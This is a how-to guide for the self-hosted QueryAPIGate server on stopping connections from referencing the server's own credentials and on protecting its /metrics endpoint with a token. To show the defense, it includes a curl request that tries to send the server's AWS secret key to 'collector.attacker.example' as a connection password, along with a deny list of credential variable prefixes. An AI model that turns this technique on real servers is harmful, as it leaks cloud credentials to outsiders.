QueryAPIGate HOW-TO GUIDE 58 · OPERATE

Keep the server's own secrets, and its metrics, in

Current as of QueryAPIGate **v0.49.0** · PDF made 4 November 2026

Latest version: anantharajuc.github.io/QueryAPIGate-website/Guide.dc.html?g=58-keep-the-servers-own-secrets-and-metrics-in

Time: 15 minutes. **You'll end up with:** connections that can reference only the environment variables you list, never the server's own credentials, and `/metrics` readable by your Prometheus and your administrators and no one else - each checked on a running server.

Two things a server can hand out without anyone meaning it to, both closed in 0.30:

- **A connection's `${VAR}` password is read from the server's environment** - and the environment holds more than connection passwords: the cloud credentials the server runs with, tokens for other services. An administrator who may change connections could point one at a host of theirs and have the server send it one of those as a password.
- **`/metrics` needs no API key** - a scraper shouldn't hold one - so anyone who can reach the server reads it, and its labels name your API keys, saved queries and connections.

Every command and output below was run against a real server (`queryapigate serve`), a PostgreSQL 16 database, and Prometheus 3.15. The server's environment held the warehouse password, an AWS secret key (standing in for the identity it runs with) and a credential for something else:

```shell
QUERYAPIGATE_API_KEY=ci-admin-key
WAREHOUSE_PASSWORD=warehouse-pw-1
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
DB_ADMIN_PW=root-pw-not-for-queryapigate
```

The server's own credentials are never reachable

A connection whose password is a reference, and a query on it:

```shell
curl -X POST http://127.0.0.1:5077/api/v1/connections -H "X-API-Key: $ADMIN" -H 'Content-Type:
application/json' \
  -d '{"name": "warehouse", "db": "postgres", "host": "127.0.0.1", "port": 55443, "user": "postgres",
       "password": "${WAREHOUSE_PASSWORD}", "database": "postgres", "active": true}'
```

```text
GET /q/orders
[{"id":1,"total":42.5},{"id":2,"total":19.0}]
```

The same, with the server's AWS key, and a host that isn't yours - `connections/test` saves nothing, so it's the quickest way to try:

```shell
curl -X POST http://127.0.0.1:5077/api/v1/connections/test -H "X-API-Key: $ADMIN" -H 'Content-Type:
application/json' \
  -d '{"db": "postgres", "host": "collector.attacker.example", "user": "x",
       "password": "${AWS_SECRET_ACCESS_KEY}", "database": "x"}'
```

```json
{"error":"${AWS_SECRET_ACCESS_KEY} is a cloud, Vault or Kubernetes credential the server itself may use
and can't be referenced - use a variable of its own for the secret","code":"invalid_body"}
```

Refused before any connection is tried. `AWS_*`, `AZURE_*`, `ARM_*`, `GOOGLE_*`, `GCP_*`, `VAULT_*` and `KUBERNETES_*` are always refused, like the server's own `QUERYAPIGATE_*` and `OTEL_*` settings.

List the variables your connections use

What no rule knows about is still reachable: a connection referencing `${DB_ADMIN_PW}` saved (`201`), and at the next start the server said so:

```text
WARNING queryapigate: Connections and destinations reference environment variables (DB_ADMIN_PW,
WAREHOUSE_PASSWORD),
and QUERYAPIGATE_SECRET_ENV_VARS is unset: an administrator could reference any other variable too, and
have the
server send it to a host of theirs as a password. Set it to the ones in use.
```

Set it - names, or prefixes ending in `*` (`WAREHOUSE_*,QAG_*`):

```shell
QUERYAPIGATE_SECRET_ENV_VARS=WAREHOUSE_PASSWORD
```

The warning is gone, the warehouse query answers as before, and anything else is refused - when it's saved:

```json
{"error":"${DB_ADMIN_PW} isn't one of QUERYAPIGATE_SECRET_ENV_VARS and can't be referenced - use a
variable of its own for the secret","code":"invalid_body"}
```

and when it's used, for a connection saved before the list was set:

```text
POST /execute_sql   {"connection_name": "other", "sql": "SELECT 1"}
{"error":"${DB_ADMIN_PW} isn't one of QUERYAPIGATE_SECRET_ENV_VARS and can't be referenced by a
connection or destination","code":"connection_misconfigured"}
```

Settings in the Console shows the list as **Environment secrets**. A configuration file is held to it too: `config export` names a password the store held as a value `${QAG_...}` - add `QAG_*` to the list before applying one.

Put /metrics behind a token

```shell
QUERYAPIGATE_METRICS_TOKEN=$(openssl rand -hex 32)   # at least 16 characters
```

Then, with a partner's API key and an administrator, `alice.smith`, having made a call each:

```text
/metrics with no token:                   401
/metrics with the partner's API key:      401
/metrics as alice (an administrator):     200
```

An administrator who may observe reads it without the token - that's the Console's Metrics screen. Everyone else needs `Authorization: Bearer <the token>`. What it shows:

```text
queryapigate_requests_total{method="GET",endpoint="api.run_named_query",status="200",key="partner-acme"}
1
queryapigate_requests_total{method="GET",endpoint="v1.list_connections",status="200",key="admin"} 1
queryapigate_queries_total{connection="warehouse",dialect="postgres",status="success",key="partner-
acme"} 1
```

alice's call is `key="admin"`: every administrator is counted under that one label, as signed-in users are under `jwt`, so no person's name is a label. An API key - an application - keeps its own.

Prometheus reads the token from a file:

```yaml
scrape_configs:
  - job_name: queryapigate
    authorization: {credentials_file: /etc/prometheus/queryapigate-metrics-token}
    static_configs:
      - targets: ["queryapigate:5000"]
```

Scraped that way, and by a second job without the token:

```shell
queryapigate                    up
queryapigate-without-the-token   down   server returned HTTP status 401 UNAUTHORIZED
```

```text
sum by (key) (queryapigate_requests_total{job="queryapigate"})
-               7
admin           5
partner-acme    2
```

`queryapigate mcp` serves its own `/metrics`, held to the same token: scrape it the same way.

On the Helm chart

This is done for you: `metricsAuth` (on by default) makes the token in a Secret of the chart's own - `<release>-metrics`, kept across upgrades - gives it to every pod, and the ServiceMonitor sends it. A scraper of your own reads it from that Secret. Rendering the chart without the cluster (`helm template`, Argo CD), give your own, `metricsAuth.existingSecret`: the chart can't see the one it made and would make another. Set `QUERYAPIGATE_SECRET_ENV_VARS` through `config`.

Good to know

- **Neither setting breaks a server on upgrade.** Unset, `${VAR}` reaches what it did (but those credentials), and `/metrics` is open as before. Set both wherever anyone outside your own network can reach the server.
- **A refused reference never shows the value**, in the answer or the log - it names the variable.
- **Other references have their own lists:** `${file:...}` reads only inside `QUERYAPIGATE_SECRET_FILE_DIRS`, `${vault:...}` only `QUERYAPIGATE_VAULT_PATHS`, `${aws-sm:...}` only `QUERYAPIGATE_AWS_SECRET_PREFIXES`.

Next steps

- Secrets from files and secrets managers - every reference form, and its allow-list.
- Observability - every metric and what it means.
- Install on Kubernetes with Helm.

READ NEXT
Verify a release before you run it

QUESTIONS OR PROBLEMS
Discord · GitHub issues

LATEST VERSION OF THIS PAGE
anantharajuc.github.io/QueryAPIGate-website/Guide.dc.html?g=58-keep-the-servers-own-secrets-and-metrics-in

FOLLOW QUERYAPIGATE GitHub X Discord Bluesky Mastodon YouTube Reddit
@queryapigate on X, Bluesky, Mastodon and YouTube · r/queryapigate on Reddit · github.com/AnanthaRajuC/QueryAPIGate

QueryAPIGate · one governed gate between your databases and everything that asks them for data · self-hosted, Apache-2.0 · © 2026 QueryAPIGate